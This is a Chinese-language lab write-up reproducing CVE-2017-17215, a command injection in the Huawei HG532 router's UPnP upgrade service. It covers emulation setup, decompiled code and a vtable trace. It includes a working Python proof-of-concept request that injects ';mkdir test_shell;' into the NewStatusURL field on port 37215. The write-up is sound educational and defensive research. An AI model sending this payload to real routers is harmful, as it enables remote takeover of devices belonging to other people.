文章来源:奇安信攻防社区
链接:https://forum.butian.net/share/4044
作者:sn1w
本篇文章详细讲述了 华为路由器CVE-2017-17215的漏洞分析全流程,通过逆向分析出虚表来解决没有交叉引用导致漏洞定位困难的问题,以及漏洞url定位等多种在iot分析中会用到的tips
漏洞描述
Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to port 37215 to launch attacks. Successful exploit could lead to the remote execution of arbitrary code.
华为 HG532 部分定制版本存在远程代码执行漏洞。经过身份验证的攻击者可以向端口 37215 发送恶意数据包以发起攻击。成功利用此漏洞可导致远程执行任意代码.
没有漏洞的具体位置 我们先解包然后进行分析
环境搭建
固件下载:
通过网盘分享的文件:router HG532e.rar
链接: https://pan.baidu.com/s/1e4UXib76bnNlMz4gBl6sjw 提取码: sn0w
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin
下载qemu启动虚拟机所需要的“镜像” 这里采用的是内核态模拟
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
创建虚拟网桥,实现虚拟机内部和Ubuntu的连接
sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.153.1/24 up
创建tap0接口 并添加网桥
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.153.11/24 up
sudo brctl addif Virbr0 tap0
写一个启动脚本start.sh
#!/bin/bash
sudo qemu-system-mips
-M malta
-kernel vmlinux-2.6.32-5-4kc-malta
-hda debian_squeeze_mips_standard.qcow2
-append "root=/dev/sda1 console=tty0"
-netdev tap,id=tapnet,ifname=tap0,script=no
-device rtl8139,netdev=tapnet
-nographic
增加一个IP 检测双ping 是否能ping通
ifconfig eth0 192.168.153.3/24 up
然后把文件系统复制到我们新启动的虚拟机中
sudo scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -r squashfs-root/ [email protected]:~/
然后挂载启动
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
chroot squashfs-root sh
这里根据漏洞分析 是要启动upnp
和mic
这两个接口。
由于启动mic
的时候 会把eth0的IP弄没 因此我们通过SSH链接的方式 远程启动 然后利用虚拟机重新启动eth0就可以外部访问了。
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]
chroot squashfs-root sh
./bin/upnp
./bin/mic
启动后我们发现
eth0没了 我们重新启动
ifconfig eth0 192.168.153.3/24 up
在宿主机测试:
nc -vv 192.168.153.3 37215
环境启动成功
漏洞复现
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;mkdir test_shell;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.153.3:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
注入成功
漏洞分析
漏洞首发于CheckPoint,其漏洞报告中描述了漏洞利用的一些细节:
华为家庭网关利用标准化的UPnP协议(基于TR-064技术报告)来简化和无缝连接网络配置,广泛应用于嵌入式设备中。这些设备通常用于家庭和企业的本地网络配置,比如设备配置和固件升级。然而,在目标路由器中,TR-064通过37215端口暴露于WAN。具体到这款路由器,其UPnP实现支持DeviceUpgrade
服务类型,该服务通过在URL /ctrlt/DeviceUpgrade_1
接收请求执行固件升级,并使用NewStatusURL
和NewDownloadURL
两个SOAP元素。然而,这两个元素存在命令注入漏洞,导致安全风险。
分析upnp
跟踪"NewStatusURL" 用ida分析发现
直接看汇编可能不是很能看出来 我们通过ghidra 进行分析
int FUN_0040749c(int param_1)
{
int iVar1;
char *local_418;
char *local_414;
char acStack1040 [1028];
iVar1 = ATP_XML_GetChildNodeByName
(*(int *)(param_1 + 0x2c),"NewDownloadURL",(int *)0x0,&local_418);
if (((iVar1 == 0) && (local_418 != (char *)0x0)) &&
(iVar1 = ATP_XML_GetChildNodeByName
(*(int *)(param_1 + 0x2c),"NewStatusURL",(int *)0x0,&local_414), iVar1 == 0)) {
if (local_414 != (char *)0x0) {
snprintf(acStack1040,0x400,"upg -g -U %s -t \'1 Firmware Upgrade Image\' -c upnp -r %s -d -b",
local_418,local_414);
system(acStack1040);
}
}
return iVar1;
}
通过进一步分析源码可以得出
int ATP_XML_GetChildNodeByName(int param_1,char *param_2,int *param_3,int *param_4)
{
int iVar1;
code *pcVar2;
int local_28;
char *local_24;
iVar1 = 0x40090000;
if (param_2 != (char *)0x0) {
pcVar2 = TSP_XML_GetNodeFirstChild;
while (param_1 = (*pcVar2)(param_1), param_1 != 0) {
iVar1 = TSP_XML_GetNodeValue(param_1,0,0,&local_24,&local_28);
if (iVar1 != 0) {
if (param_4 == (int *)0x0) {
return iVar1;
}
*param_4 = 0;
return iVar1;
}
if ((local_24 != (char *)0x0) && (iVar1 = strcmp(local_24,param_2), iVar1 == 0)) {
if (param_3 != (int *)0x0) {
*param_3 = param_1;
}
if (param_4 == (int *)0x0) {
return 0;
}
if (local_28 != 0) {
FUN_00408540();
}
*param_4 = local_28;
return 0;
}
pcVar2 = TSP_XML_GetNodeNextSibling;
}
if (param_4 != (int *)0x0) {
*param_4 = 0;
}
iVar1 = 0x40090004;
}
return iVar1;
}
local_418
是ATP_XML_GetChildNodeByName
函数获取xml中的NewDownloadURL
节点内容
local_414
是ATP_XML_GetChildNodeByName
函数获取xml中的NewStatusURL
节点内容
然后最后拼接到acStack1040
中进行命令执行,因此我们只要想办法控制NewDownloadURL
或者NewStatusURL
其中一个就可以进行命令注入了。
跟进研究看一下漏洞如何触发 参数如何控制 这里的漏洞函数是没有进行调用的 交叉引用没有找到因此我们只能去搜索看看。
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<actionList>
<action>
<name>Upgrade</name>
<argumentList>
<argument>
<name>NewDownloadURL</name>
<direction>in</direction>
<relatedStateVariable>DownloadURL</relatedStateVariable>
</argument>
<argument>
<name>NewStatusURL</name>
<direction>in</direction>
<relatedStateVariable>StatusURL</relatedStateVariable>
</argument>
</argumentList>
</action>
<action>
<name>GetSoftwareVersion</name>
<argumentList>
<argument>
<name>NewSoftwareVersion</name>
<direction>out</direction>
<relatedStateVariable>SoftwareVersion</relatedStateVariable>
</argument>
</argumentList>
</action>
</actionList>
<serviceStateTable>
<stateVariable sendEvents="no">
<name>DownloadURL</name>
<dataType>string</dataType>
</stateVariable>
<stateVariable sendEvents="no">
<name>StatusURL</name>
<dataType>string</dataType>
</stateVariable>
<stateVariable sendEvents="no">
<name>SoftwareVersion</name>
<dataType>string</dataType>
</stateVariable>
</serviceStateTable>
</scpd>
然后去跟踪DevUpg.xml
发现这个函数对ATP_UPnP_RegDevice
函数和ATP_UPnP_RegService
函数有大量的调用,猜测这个函数可能主要用于开启一些交互服务。
继续跟进:
g_astActionArray
全局变量修复后:
这是一个虚表这里面存在我们的漏洞函数 因此我们继续跟进。
发现这个虚表还会被UPnPGetActionByName
调用。
取值并调用返回函数 因此就找到调用漏洞函数的位置 那么如何取触发呢?进一步分析发现:
可以看到有一个路径检测。
通过测试接口可以测试出路径然后整个的漏洞流程就分析完了。可以通过流量抓包改写 来修改exp
心得与体会
这算是笔者第一次复现华为路由器的漏洞,网上的复现文章很多,但讲的不是很详细,可能是觉得太简单没必要讲吧,但对于像我这种新手小白来说,像无法交叉引用的情况找漏洞位置和虚表,还有就是遇到无法反编译的情况用ghidra或者ida修复等过程 都是我需要学习的,因此我写下这篇文章帮助刚入iot的师傅更好的理解。
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
原文始发于微信公众号(黑白之道):经典华为路由器漏洞复现详细分析(包括整个漏洞链)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论